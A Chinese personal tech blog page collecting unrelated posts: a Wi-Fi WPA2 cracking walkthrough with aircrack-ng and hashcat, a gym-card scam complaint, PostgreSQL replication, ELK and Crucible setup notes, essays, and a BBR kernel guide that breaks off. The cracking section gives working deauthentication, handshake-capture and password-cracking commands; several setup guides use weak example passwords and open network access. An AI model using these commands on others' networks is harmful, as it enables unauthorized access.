0%

起因是最近买了个Wifi Pineapple,感觉无线安全挺有意思,再加上网上破解Wifi的教程要么跑不起来、要么不是很详细,所以就准备写这篇文章。

前期准备

1.支持监听模式的无线网卡,我这里是小米的无线网卡

2.Kali Linux,我这里是VMware虚拟机

  1. 挂载网卡

    pic

  2. 下载密码字典

    1
    2
    curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    # 比较常用的密码字典,不是很大,国内Wifi成功率不会很高

开始破解

  1. 检查网卡是否支持监听

    1
    2
    airmon-ng
    # 出现为wlan0的网卡则支持
  2. 开启

    1
    2
    airmon-ng start wlan0
    # 开启后名称变成了wlan0mon
  3. 搜索附近的网络

    1
    2
    airodump-ng wlan0mon
    # 这里使用自己的Wifi作为对象,私自破解他人Wifi属于违法行为

    pic

  4. 抓取握手包

    1
    2
    airodump-ng -c 11 --bssid 74:7D:24:77:2B:6F -w ~/ wlan0mon
    # -c 为信道,这里主要是需要包含密码信息的数据包

    pic

  5. 攻击,使目标设备断开重新连接,以便获取握手包

    1
    2
    aireplay-ng -0 2 -a 74:7D:24:77:2B:6F -c 84:89:AD:6F:60:6F wlan0mon
    # -a Wifi热点的BSSID -c 攻击设备的MAC地址

    pic

  6. 耐心等待设备重新连接以抓取认证数据包

    pic

    成功后可终止命令。

    pic

  7. 暴力破解

    1
    aircrack-ng -a2 -b 74:7D:24:77:2B:6F -w rockyou.txt ~/*.cap

    pic

    这里已经破解成功了,由于自己的密码并不是很复杂,所以很快就完成了破解,实际使用中使用这个密码字典成功率不会很高,需要使用更大的字典才行。

    但更大的字典意味着破解速度会被无限拉长。。

    所以下面使用Hashcat来破解密码,实际测试下来,速度确实快了几倍。

使用Hashcat破解

官方介绍是:Hashcat是当前速度最快、最先进的开源密码恢复工具。

我这边测试的是使用GPU破解,所以将环境转移到了Windows下。

  1. 格式转换

    1
    2
    3
    # https://github.com/hashcat/hashcat-utils/releases
    # 下载转换工具,将cap文件转换为hccapx文件
    ./cap2hccapx.exe -01.cap 01.hccapx

    pic

  2. 使用密码字典破解

    1
    2
    3
    # https://github.com/hashcat/hashcat/releases
    # 下载 Hashcat,开始破解
    .\hashcat64.exe -m 2500 01.hccapx .\rockyou.txt

    pic

    完成,速度超快!

  3. 使用掩码破解

    1
    2
    3
    4
    5
    6
    7
    # 知道密码长度使用此模式还行,如果不知道。。
    .\hashcat64.exe -m 2500 -a 3 01.hccapx -1 ?l?d ?1?1?1?1?1?1?1?1?1?1?1
    1 ?l?u ?1?1?1?1?1?1?1?1
    # 指定11位
    .\hashcat64.exe -m 2500 -a 3 01.hccapx --increment --increment-min=8 --increment-max=15 -1 ?a ?1?1?1?1?1?1?1?1?1?1?1?1?1?1
    # 从8位破解到15位,超高难度
    # 显卡不行,所以就不测试该模式的时间了
  4. 常见问题

    1
    2
    3
    4
    5
    * Device #1: WARNING! Kernel exec timeout is not disabled.
    This may cause "CL_OUT_OF_RESOURCES" or related errors.
    To disable the timeout, see: https://hashcat.net/q/timeoutpatch

    # 参考 https://hashcat.net/q/timeoutpatch 新建 wddm_timeout_patch.reg 文件,内容如下,保存后双击运行导入注册表。
    1
    2
    3
    4
    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers]
    "TdrLevel"=dword:00000000

国庆过后,又胖了一圈。。同时感觉自己身体不太好,就想着办张健身卡。

因为种种原因所以选择在二手平台上看转卡信息,结果无一例外都是人外出,委托给健身房,让自己去办理之类的。

然后就网上查了下,发现这些全是套路,到了之后会以转让费或者人不在之类的做借口忽悠你办店里的套餐。如果你坚持办,ok,没问题,他们会在一段时间后把卡停掉,然后以公司卡违规之类的来让你升级卡片。

套路多多,逐放弃转卡这一渠道,然后无意中看到全新卡,价格在转卡和门店价格之间,然后直接去办理就好,就放松了警惕,约好下班之后去办理。

到达门店之后,确认价格、时间等,这时候套路来了,它会拿来入会表格让你填,然后告诉你一些无关紧要的问题,比如无法转卡、无法停卡之类的小问题,让你放松警惕。

表示这些没问题以后,会让你付款,付完款之后,会让店里的经理给你讲一些其他的问题,这时候经理就会说这个卡是公司卡,然后无法补卡,公司可以随时中止之类的条款。

这个时候正常人肯定会想,这些事先没给说啊,没有知情权,那我不办了可以吧?可是事情并没有那么简单,然后两个人就开始双簧了,工作人员说这个不是我们的,是它们公司的,所以要去找它们。然后卖卡的人又会说已经报到公司去了,不能退。而且经理态度恶劣,说随便你用什么手段解决(录音可以听到)。

这时候问题来了,POS机刷卡信息显示的是健身房,说是别的公司?会让一个不相干的拿来POS机?后来证明这个所谓公司的人其实就是店里的。

这个时候如果你态度强硬,表示会曝光并且去投诉的话,它就会服软说可以退,但是要几个月的时间,并且需要再次来店里确认退款手续。但是,这个时候主动权已经完全不在你手中了,既然说退款,那么有关部门也未必会管,而且具体多久就完全不能预计了。

这里肯定会有人洗地了,什么价格很明显不合理啊、想占便宜活该被骗啊、谁叫你事先没问明白之类的,呵呵送给你。

这个时候所谓经理就开始推销套餐,说可以把这个钱转过去,转成正式套餐,只需要付款剩下的部分,最终的结果就是花了近三倍的价格办了几年卡。。

{ http://p20g9o3r4.bkt.clouddn.com/1.mp3}

说到最后这张卡,我是不准备退的,写出来主要是防止更多的人上当受骗。还有就是态度问题:办卡的时候你是爷,办了卡之后它是爷,简直一百八十度转弯。没错,约定好的承诺没完全兑现,一直拖着。

除此之外还有几点:第一点是不知道以这种近乎胁迫的形式签的合同有没有效?第二是也没有那么多的精力来搞维权,相信它们手段肯定还是有一套的;第三就是我确实也需要一张健身卡,只是手段令人十分不齿罢了。

写的有点乱,本以为小心翼翼,结果套路防不胜防。避免一些不必要的麻烦,所以图片和录音都是经过处理的 。如果能让无良商家收敛一点也是极好的。

最后,这些无良商家真的就没人出来管管??

闲来没事做了个红包类的小程序,大意是输入文字口令,然后别人读对即可领取红包。

做小程序之前其实是做了很多功课的,包括但不限于事先做了一个简单的小程序上线熟悉流程、分析竞品等等。

无奈提交审核的时候还遇到了一堆问题,嗯,对了,审核时间平均7天。

第一次打回:

你好,因部分用户滥用小程序传播不良信息,导致部分小程序严重违反《即时通信工具公众信息服务发展管理暂行规定》和平台运营规范被平台永久下架。为避免您的小程序被滥用,建议你可以完善审核机制,保障发布内容的安全,为用户提供更好的服务。

数据库中没有发现任何测试数据,不知道是怎么判断没有审核机制的?

第二次打回:

你好,用户自定义内容的记录及分享,包括文字、图片、视频、音频等,需补充社交-笔记类目。

按照腾讯的说法是只要有用户输入,就需要加入社交类目,但奇怪的是同类产品也没有社交类目,他们是怎么通过审核的?

说到现在就比较无奈了,补充社交类目需要 ICP 许可证,然而这个证书又比较难办,空壳公司基本办不下来,腾讯审核标准又不清不楚… 嗯…为何不能一视同仁呢?

第三次打回:

小程序简介未介绍小程序功能 .

这个或许怪我,毕竟介绍写的不是很清楚,但是不能一次指出所有问题么?我们的时间也宝贵的啊…

第四次打回:

小程序实际所提供的服务属于尚未开放的服务类目。

嗯?还能说什么呢?

ok,到现在为止我已经放弃了…

可惜啊可惜,白白花费了这么多精力,万万没想到竟然败在了审核上!!

做小程序需谨慎,应该说所有依附其他平台的产品都需要谨慎,毕竟他们掌握了你的生杀大权。

或者说在国内做产品都要谨慎,毕竟大环境变得越来越封闭。

另外说句题外话,做小程序(产品)有多麻烦呢?来算个流水账啊…

服务端开发、客户端开发、踩坑(尤其是canvas绘图);服务器、域名、备案、SSL证书;小程序平台注册、认证;微信支付注册、审核;第三方平台接入(语音识别/云存储/图片识别/情绪识别)等等…

最后,共勉。

为了方便,只搭建一主一从。首先准备两台服务器,信息如下:

IP 角色 端口
192.168.0.31 master 5432
pgpool-II 9999
192.168.0.32 slave 5432

一、基础环境配置

  1. host设置

    1
    2
    3
    # 修改vi /etc/hosts, 增加以下内容
    192.168.0.31 master
    192.168.0.32 slave
  2. 安装

    PostgreSQL

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    # 添加源
    rpm -Uvh https://yum.postgresql.org/10/redhat/rhel-7-x86_64/pgdg-centos10-10-2.noarch.rpm
    # 下载
    yum install postgresql10-server postgresql10
    # 安装
    /usr/pgsql-10/bin/postgresql-10-setup initdb

    # 启动
    systemctl enable postgresql-10.service
    systemctl start postgresql-10.service

    # 验证
    su - postgres -c "psql"
    # 出现以下信息则成功
    psql (10.0)
    Type "help" for help.
    postgres=#

    # 创建密码
    postgres=# \password postgres

    # 查看路径(/var/lib/pgsql/10/data)
    postgres=# show data_directory;

    # 编辑文件 (vi /var/lib/pgsql/10/data/pg_hba.conf)
    # host all all 127.0.0.1/32 ident 修改为允许所有网络登录,并使用md5方式进行认证:
    # host all all 0.0.0.0/0 md5

    # 编辑文件 (vi /var/lib/pgsql/10/data/postgresql.conf)
    listen_addresses = '*' # 表示开放外网访问

    # 打开防火墙
    sudo firewall-cmd --add-service=postgresql --permanent
    sudo firewall-cmd --reload
    # 重启
    systemctl restart postgresql-10.service

    pgpool-II

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 安装
    yum install http://www.pgpool.net/yum/rpms/3.7/redhat/rhel-7-x86_64/pgpool-II-release-3.7-1.noarch.rpm
    yum install pgpool-II-pg10
    # 可选
    yum install pgpool-II-pg10-debuginfo
    yum install pgpool-II-pg10-devel
    yum install pgpool-II-pg10-extensions

    #启动
    systemctl enable pgpool.service
    systemctl start pgpool.service

二、流复制

  1. Master

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # 创建用于复制的用户
    su - postgres
    psql
    postgres=# CREATE ROLE pgrepuser REPLICATION LOGIN PASSWORD 'pgreppass';
    # 编辑文件 (vi /var/lib/pgsql/10/data/pg_hba.conf)
    # host replication pgrepuser 0.0.0.0/0 md5

    # 编辑文件 (vi /var/lib/pgsql/10/data/postgresql.conf),修改配置(根据实际情况填写)
    wal_level = hot_standby
    archive_mode = on
    max_wal_sender = 4
    wal_keep_segments = 10

    # 重启数据库
    systemctl restart postgresql-10.service
  2. Slave

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    # 停止服务
    systemctl stop postgresql-10.service

    su - postgres
    # 使用 pg_basebackup 生成备库
    #1. 清空 $PGDATA 目录
    rm -rf /var/lib/pgsql/10/data

    # pg_basebackup 命令生成备库
    pg_basebackup -D /var/lib/pgsql/10/data -Fp -Xs -v -P -h master -U pgrepuser

    # 编辑文件 (vi /var/lib/pgsql/10/data/postgresql.conf)
    hot_standby = on

    # 新建文件 (vi /var/lib/pgsql/10/data/recovery.conf)
    standby_mode = 'on'
    primary_conninfo = 'host=master port=5432 user=pgrepuser password=pgreppass'
    trigger_file = 'failover.now'
    recovery_target_timeline = 'latest'

    # 重启数据库
    systemctl restart postgresql-10.service

    #验证:在master新增数据slave节点可以看到数据。

三、读写分离

  1. pgpool配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    cd /etc/pgpool-II
    cp -pv pgpool.conf.sample-stream pgpool.conf

    # 修改 vi pgpool.conf
    listen_addresses = '*'# 外网访问
    # 0为主库
    backend_hostname0 = 'master
    backend_port0 = 5432
    backend_weight0 = 0 # 分配比例
    backend_data_directory0 = '/var/lib/pgsql/10/data'
    backend_flag0 = 'ALLOW_TO_FAILOVER'
    backend_hostname1 = 'slave'
    backend_port1 = 5432
    backend_weight1 = 1
    backend_data_directory1 = '/var/lib/pgsql/10/data'
    backend_flag1 = 'ALLOW_TO_FAILOVER'
    #hba认证
    enable_pool_hba = on
    # 执行log
    log_statement = on
    log_per_node_statement = on
    # 流复制
    sr_check_user = 'replicator' # 流复制账号
    sr_check_password = '123456' # 流复制密码
    # 函数默认分发到从节点,过滤如下
    black_function_list = 'currval,lastval,nextval,setval,funcw_.*'

    # 修改 vi pool_hba.conf
    host all all 0.0.0.0/0 md5

    # 修改 vi pcp.conf
    pcp:e10adc3949ba59abbe56e057f20f883e # 密码为123456

    # 生成pool_passwd
    pg_md5 123456

    # 与 postgresql 用户密码一致
    pg_md5 -m -u postges postgres

    # 启动pgpool
    # systemctl restart pgpool.service
    pgpool -n -d > /etc/pgpool-II/pgpool.log 2>&1 &

    # 连接
    su - postgres
    psql postgres -h master -p 9999 -U postgres

    # 节点信息
    postgres=# show pool_nodes;
    node_id | hostname | port | status | lb_weight | role | select_cnt | load_balance_node | replication_delay
    ---------+----------+------+--------+-----------+---------+------------+-------------------+-------------------
    0 | master | 5432 | up | 0.000000 | primary | 28 | false | 0
    1 | slave | 5432 | up | 1.000000 | standby | 6 | true | 0

    # 查看日志
    tail -f /etc/pgpool-II/pgpool.log

    # 下面是测试情况:
    # select 1;
    2017-10-30 06:38:25: pid 3637: LOG: DB node id: 1 backend pid: 3658 statement: select * from test where id = 1;

    # update test set name = 'test' where id = 2;
    DB node id: 0 backend pid: 8032 statement: update test set name = 'test' where id = 2;
    #/*REPLICATION*/select 1; # 强制master节点执行
    DB node id: 0 backend pid: 8032 statement: /*REPLICATION*/select 1;
    # DB node id,0表示主节点执行,1表示从节点

四、错误解决

  1. 端口占用

    1
    2
    3
    4
    5
    6
    2017-10-30 01:50:21: pid 3790: FATAL:  failed to bind a socket: "/tmp/.s.PGSQL.9998"
    2017-10-30 01:50:21: pid 3790: DETAIL: bind socket failed with error: "Address already in use"

    # 非正常结束导致的,删除以下目录即可
    rm -f /tmp/.s.PGSQL.9999
    rm -f /tmp/.s.PGSQL.9898

五、后续优化

  1. 宕机主从切换

    1
    2
    # 修改 vi pgpool.conf
    follow_master_command = '/etc/pgpool-II/failover_stream.sh'

    新建切换脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #! /bin/sh 
    # Failover command for streaming replication.
    # Arguments: $1: new master hostname.

    new_master=$1
    trigger_command="$PGHOME/bin/pg_ctl promote -D $PGDATA"

    # Prompte standby database.
    /usr/bin/ssh -T $new_master $trigger_command

    exit 0;
  2. pgpool集群

    配置虚拟ip(delegate_IP),使用WATCHDOG监控,服务A宕机时,服务B自动接管虚拟IP对外提供服务。​

今天刷朋友圈的时候看到这样一张照片,大致是一家餐厅机器人在点餐、送餐。

再加上之前看到阮一峰老师的一本书:《未来世界的幸存者》,思考很多,故写下感想。

首先,引用书中一段话:

机器人、自动化、人工智能正在变得比人类更强大。
在可预见的将来,技术最终将淘汰人类。

对于这个观点,我是比较认同的。夸张一点,可以说在未来五到十年时间电脑可以代替大多数工作,他们比人类做的更快更好。比如:机器人取代服务员、售货员;扫地机器人取代清洁员;ATM取代银行职员;自动驾驶取代司机,要知道目前特斯拉的 Autopilot 等级已经达到Level 3(某些情况下可以达到Level 4);人工智能取代大部分客服、前台等等…被取代之后,他们要干什么呢?能干什么呢?

你会说,新技术普及之后必然会衍生很多其他新兴行业。没错,确实会,但数量远远会小于被取代的职位。想想诺基亚时代的Symbian、这两年HTML 5的兴起与Flash的没落,这世上没有绝对安全的工作。换句话说,那些被淘汰的人们可以胜任么?答案也很明显,大部分人都不能胜任。为什么呢?因为你要从零开始,重新学习与你之前行业无关或关联性很少的技能。要知道啊,在这个高速发展的行业,跟刚出校门的学生站在同一起跑线,又有什么优势呢?

再次引用书中一段话:

不是每个人都善于学习,更不是每个人都具有学习的意愿。大多数人只希望生活舒适,不愿意动脑筋,去搞懂那些抽象的公式。而且,要求40、50岁的人跟刚走上社会的年轻人一样拼搏,也不现实。如果终生学习是唯一的就业出路,那对于多数人来说,就是没有出路。

当代国家是建立在人对国家有用的基础上的,大部分人的角色是工人和士兵。如果这些角色被机器取代,那么底层的人们对国家来说,也就不再重要了。国家很可能会忽视他们的需求,只是出于社会稳定的目的,提供基本的生活资料。而人们也比以往更依赖政府,因为如果政府停止救济,他们就无法养活自己。

第二段很像《北京折叠》中的场景,书中是这样描述的。

大地的一面是第一空间,五百万人口,生存时间是从清晨六点到第二天清晨六点。空间休眠,大地翻转。翻转后的另一面是第二空间和第三空间。第二空间生活着两千五百万人口,从次日清晨六点到夜晚十点,第三空间生活着五千万人,从十点到清晨六点,然后回到第一空间。时间经过了精心规划和最优分配,小心翼翼隔离,五百万人享用二十四小时,七千五百万人享用另外二十四小时。

不同的空间中,随着不同阶级住着不同的人:第一层毫无疑问就是当权者,第二层是中产阶级,第三层则是处于底层、被这个时代所抛弃的人。

随着科技的进步,人力已经变得不是那么重要,准确的说是生活在底层的人不是那么重要。因为机器人早已可以替代他们,不幸的是,这些人占了大多数,当权者只不过为了社会稳定而保留这些工作。

说到现在,我觉得每个人都要考虑因为某种原因不能继续现在的工作之后,自己的Plan B是什么?如果年轻的话或者考虑换掉目前在做并且未来短时间内可能被取代的工作,比如我正在Udacity学习机器学习这一课程。

看完这本书后,我跟很多朋友都提起了这些观点并推荐了这本书。但,大部分都没什么反应。

那么,我们应该有的危机意识呢?

最后,附上《未来世界的幸存者》一书的在线阅读地址:
https://ruanyf.github.io/survivor

刚才,遇到了 SQL去重的问题。

然而这次和以往其他不同的是:这次数据整行记录(包括id)都是重复的。不能用group、max(id)这种以及类似的方式。抛开表设计的问题,这次来说下怎么去重。

1
2
3
4
5
6
7
8
--将数据去重后存入临时表,PostgreSQL会自动创建tmp_table以及表结构
select distinct * into tmp_table from repeat_table;
--删除原记录
delete from repeat_table;
--将临时表数据插入原表
insert into repeat_table select * from tmp_table;
--删除临时表
drop table tmp_table;

大功告成。

文中所有软件版本均为最新版本5.X,网上ELK 5.X 版本资料较少,所以搭建过程种碰到了不少坑,仅记录简略搭建日志,后续如果有时间会整理详细搭建记录。

安装ElasticSearch

1
2
3
4
5
# https://www.elastic.co/downloads/
# 安装 elasticsearch
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.2.1.tar.gz
tar xzf elasticsearch-5.2.1.tar.gz
cd elasticsearch-5.2.1/
  1. 修改配置 vi config/elasticsearch.yml 【可选】
1
2
3
4
5
6
7
cluster.name=my-application
node.name=node-1
path.data=/tmp/elasticsearch/data
path.logs=/tmp/elasticsearch/logs
# 0.0.0.0 则开启外网访问
network.host=0.0.0.0
http.port=9200
  1. 创建 path.xx 文件夹后,启动ElasticSearch
1
2
./bin/elasticsearch
netstat -tln

安装elasticsearch-head

1
2
3
4
5
# 安装 elasticsearch-head
git clone git://github.com/mobz/elasticsearch-head.git
cd elasticsearch-head
npm install
# npm install -g grunt --registry=https://registry.npm.taobao.org
  1. 修改 vi Gruntfile.js 加入hostname: ‘0.0.0.0’,【可选】
1
2
3
4
5
6
7
8
9
10
connect: {
server: {
options: {
hostname: '0.0.0.0',
port: 9100,
base: '.',
keepalive: true
}
}
}
  1. 修改vi config/elasticsearch.yml, 加入以下内容,否则可能导致连接不上elasticsearch
1
2
http.cors.enabled: true
http.cors.allow-origin: "*"
  1. 开启 9100 端口并启动
1
2
3
4
5
6
# 如未开放 9100 端口需先开放端口
iptables -I INPUT -p tcp --dport 9100 -j ACCEPT
service iptables save

grunt server &
# 访问 http://IP:9100/

安装Logstash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
wget https://artifacts.elastic.co/downloads/logstash/logstash-5.2.1.tar.gz
tar xzf logstash-5.2.1.tar.gz
cd logstash-5.2.1
# 新建配置文件 logstash-simple.conf ,配置以下内容
input {
stdin { }
syslog {# logback,logstash没有官方支持,配合jar包 net.logstash.logback
type => "test-logback"
host => "127.0.0.1"
port => 4562
codec => "json"
}
log4j { # log4j
type => "test-log4j"
host => "127.0.0.1"
port => 4560
}
}
output {
elasticsearch { hosts => ["localhost:9200"] }
stdout { codec => rubydebug }
}
output {
elasticsearch { hosts => ["localhost:9200"] }
stdout { codec => rubydebug }
}
#启动服务
./bin/logstash -f logstash-simple.conf

Java项目配置

  1. log4j配置以下内容
1
2
3
4
5
6
7
8
# appender socket
log4j.appender.socket=org.apache.log4j.net.SocketAppender
# 端口为logstash log4j 配置端口
log4j.appender.socket.Port=4560
log4j.appender.socket.RemoteHost=127.0.0.1
log4j.appender.socket.layout=org.apache.log4j.Patte10000rnLayout
log4j.appender.socket.layout.ConversionPattern=%d [%-5p] [%l] %m%n
log4j.appender.socket.ReconnectionDelay=100
  1. logback 使用以下配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--pom.xml 添加 jar 包 -->
<dependency>
<groupId>net.logstash.logback</groupId>
<artifactId>logstash-logback-encoder</artifactId>
<version>4.8</version>
</dependency>

<!--logback.xml 添加 udp 配置 -->
<appender name="stash" class="net.logstash.logback.appender.LogstashSocketAppender">
<host>127.0.0.1</host>
<!-- 端口为logstash logback 配置端口 -->
<port>4562</port>
<customFields>{"appname":"my log"}</customFields>
</appender>

<appender-ref ref="stash" />

安装Kibana

1
2
3
4
5
6
7
wget https://artifacts.elastic.co/downloads/kibana/kibana-5.0.0-linux-x86_64.tar.gz
tar xzf kibana-5.0.0-linux-x86_64.tar.gz
cd kibana-5.0.0-linux-x86_64
# 安装x-pack
bin/kibana-plugin install x-pack
./bin/kibana
# 访问 http://IP:5601

【可选】使用Redis做消息队列防止日志丢失

  1. 新建配置文件,写入 Redis
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
input {  
stdin { }
syslog {
type => "test-logback"
host => "127.0.0.1"
port => 4562
codec => "json"
}
log4j {
type => "test-log4j"
host => "127.0.0.1"
port => 4560
}
}
output {
# elasticsearch { hosts => ["localhost:9200"] }
redis { # 表示写入到redis中
host => "127.0.0.1" # 指明redis服务器地址
port => 6379 # 指明redis端口
data_type => "list" # 指定数据类型为list
key => "logstash" # 指定存入的键
}
# stdout { codec => rubydebug }
}
  1. 从Redis 写入 ElasticSearch
1
2
3
4
5
6
7
8
9
10
11
12
13
input {  
stdin { }
redis { # 表示从redis中取出数据
host => "127.0.0.1"
port => 6379
data_type => "list"
key => "logstash" # 指定去logstash这个键中取出数据
}
}
output {
elasticsearch { hosts => ["localhost:9200"] }#写入 elasticsearch
# stdout { codec => rubydebug }
}

【可选】使用Kafka做消息队列防止日志丢失

  1. 新建配置文件,写入 Kafka
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
input {  
stdin { }
syslog {
type => "test-logback"
host => "127.0.0.1"
port => 4562
codec => "json"
}
log4j {
type => "test-log4j"
host => "127.0.0.1"
port => 4560
}
}
output {
# elasticsearch { hosts => ["localhost:9200"] }
kafka { #输出到kafka
bootstrap_servers => "localhost:9092" #生产者
codec => plain {
format => "%{host} %{logger_name} %{level} %{message}"
}
compression_type => "snappy" # 压缩类型
topic_id => "logstash" #这个将作为主题的名称,将会自动创建
}
# stdout { codec => rubydebug }
}
  1. 从Kafka写入 ElasticSearch
1
2
3
4
5
6
7
8
9
10
11
12
input {  
stdin { }
kafka {
bootstrap_servers => "localhost:9092" #消费者们
compression_type => "snappy" # 压缩类型
consumer_threads => 5 # 线程 默认 1
}
}
output {
elasticsearch { hosts => ["localhost:9200"] }#写入 elasticsearch
# stdout { codec => rubydebug }
}

ELK 集群搭建

ElasticSearch 集群搭建

  1. 修改 elasticsearch.yml (master)
    1
    2
    3
    # 同一局域网下elasticsearch会自动发现相关节点,所以不用配置 discovery.zen.xxx 等参数
    cluster.name: my-es-cluster
    node.name: node-1
  2. 另一台服务器修改 elasticsearch.yml (node),如果是同一台服务器搭建集群,复制 elasticsearch 目录时注意清空data目录
    1
    2
    cluster.name: my-es-cluster
    node.name: node-2
  3. logstash 配置 hosts 数组即可
    1
    2
    3
    4
    output {
    elasticsearch { hosts => ["localhost:9200", "localhost:9201", "localhost:9202"] }
    stdout { codec => rubydebug }
    }

    Kafka 集群搭建

  4. 修改 server.properties
    1
    2
    3
    4
    # kafka 集群主要关注下面这两个参数极客
    broker.id=0 # 当前机器在集群中的唯一标识,和zookeeper的myid性质一样
    zookeeper.connect=localhost:2181,localhost:2182
    # windows 启动:.\bin\windows\kafka-server-start.bat .\config\server.properties
  5. logstash output 配置
    1
    2
    3
    4
    5
    6
    kafka {  #输出到kafka
    bootstrap_servers => "localhost:9092,localhost:9093,localhost:9094" #生产者 logstash 5.X kafka 插件不在依赖zookeeper,所以去掉了 zk_connect
    compression_type => "snappy" # 压缩类型
    enable_metric => true
    topic_id => "logstash" #这个将作为主题的名称,将会自动创建
    }
  6. logstash input 配置
    1
    2
    3
    4
    kafka {
    bootstrap_servers => "localhost:9092,localhost:9093,localhost:9094" #消费者们
    consumer_threads => 5
    }

ElasticSearch 启动错误解决方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. ElasticSearch默认内存2G,启动报以下错误,则要在 vi jvm.options 修改 jvm 内存 -Xms512m  
Java HotSpot(TM) 64-Bit Server VM warning: INFO: os::commit_memory(0x0000000085330000, 2060255232, 0) failed; error='Cannot allocate memory' (errno=12)

2. ElasticSearch默认不允许root权限运行,报如下错误则要新建用户运行
org.elasticsearch.bootstrap.StartupException: java.lang.RuntimeException: can not run elasticsearch as root

groupadd elsearch
useradd elsearch -g elsearch -p elasticsearch
usermod -g root elsearch
su elsearch

3. java.io.IOException: Permission denied
chown -R elsearch /tmp/elasticsearch

4. initial heap size [16777216] not equal to maximum heap size [536870912]; this can cause resize pauses and prevents mlockall from locking the entire heap
max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144]
sudo sysctl -w vm.max_map_count=262144

5. failed to send join request to master [{node-1} ... {127.0.0.1}{127.0.0.1:9300} with the same id but is a different node instance];
集群搭建时出现该错误,解决方法为删除清空es目录下data目录

到这里ELK基本配置已经完了,但搭建中还遇到了几点问题没有解决,比如 logstash 怎么做集群?目前的方法是每台 server log 配置中都要配置需要连接的logstash地址,但这种在分布式视同中是不太合适的。

一、CentOS 7 安装Crucible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# https://confluence.atlassian.com/crucible/installing-crucible-on-linux-and-mac-298977373.html
# 安装下载相关文件及依赖
yum install java
wget https://www.atlassian.com/software/crucible/downloads/binary/crucible-4.3.0.zip&version=4.3.0
unzip crucible-4.3.0.zip
# 修改/etc/environment文件加入:FISHEYE_INST="path/to/<Crucible instance directory>"
# 修改配置文件config.xml,端口邮件及相关配置
cd bin
./start.sh
netstat -ntlp
# 开放端口
/sbin/iptables -I INPUT -p tcp --dport 8060 -j ACCEPT
/etc/rc.d/init.d/iptables save
service iptables restart

二、开始使用

管理后台:http://localhost:8060/admin/admin.do admin admin123

logo

用户相关
  1. 创建用户:设置->Users->Add User。
Repositories相关
  1. 创建Repositories:点击设置->Repositories->Add repository,输入相关配置信息,创建完成。

    logo

  2. Repositories详情:点击Repositories,选择相关项目,可以看到文件、历史、报表、搜索等操作。

logo

  1. 开始Review :界面->Create Review->选择徐需要Review的内容,常用操作为前三个:1.记录审查、2.分支审查、3.文件审查。

    logo

  • 例如选择Browse Changesets,多选需要Review的记录;

    logo

  • 点击Edit Details编辑审阅人、截止时间等详细信息;

    logo

  • 点击Start Review,创建完成,可进行审阅、关闭等管理相关操作;

    logo

  • 单击或多选文件内容可添加评论,是否为缺陷以及优先级。

    logo

今天,在网络上看到了篇新闻,说是网约车新规开始实行,本以为新规会去掉“京人京车”、“沪人沪牌”这些可笑而又让人无奈的条件,没想到,成真了。

在说网约车新规之前,先来分享一则小故事。

事情是前几周发生的,当时被捡回来的小猫抓伤,第二天去离公司有些距离的防疫站打疫苗,回去的路上叫了辆Uber,司机是合肥人。

“等拉完你这一单,我就去把车退了。” 路上,他说。

“为什么?” 我很奇怪,因为在我印象中Uber司机收入还不错。

“太累!坚持不下去了!每天工作17-8个小时。而且最近这几个月收入也不行了,补贴大大减少了,大概只有4000块钱。车是我租的,上个月还倒贴了几百块钱进去,等拉完你这一单,哪怕要付2000块的违约金我也认了。”

“啊?这样啊,如果有车的话应该会好不少呢。”

“是啊,租车占了很大一部分,随便找个工作也比现在强啊,要不是为了老婆孩子,我早不干了。” 可以看出,他也很无奈。

后来我们聊了很多,从滴滴Uber合并到房价,再到梦想、前途。

现在看来,他是对的,很庆幸他当初就选择退出这个行业。否则,当他看到现在的新政策时,会不会对这个国家感到失望呢?

起初,我想,这么扯淡的政策不可能实行,怎么可能实行?现在,我知道,我错了。

现在国家难道强大到连最基本的生存权利都要剥夺?这公平么?

连地域歧视都可以光明正大的出现在政策里,公平么?

我不懂政策,不懂政治,不懂经济,不懂这些所谓的权贵到底是怎么想的。限制购房、限制入学,我可以一笑而过,谁让我生的不好呢?但连基本的生存权利都要剥夺,这就是不公平。哪怕通过其他手段来控制,但限制户口,地域歧视是不是有点明显?未免也太过了点?

这是个值得深思的问题。

未来某一天,我们是不是也会被驱赶出去呢?

实测使用BBR速度提升很明显,不支持OpenVZ。

安装过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#下载内核,最新内核下载地址:http://kernel.ubuntu.com/~kernel-ppa/mainline/
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.9/linux-image-4.9.0-040900-generic_4.9.0-040900.201612111631_amd64.deb
# 安装内核
dpkg -i linux-image-4.9.0*.deb
# 删除旧内核
dpkg -l|grep linux-image
sudo apt-get remove linux-image-[Tab补全] #删初4.9.0以外旧内核
# 更新系统引导,重启
update-grub
reboot
# 开启BBR
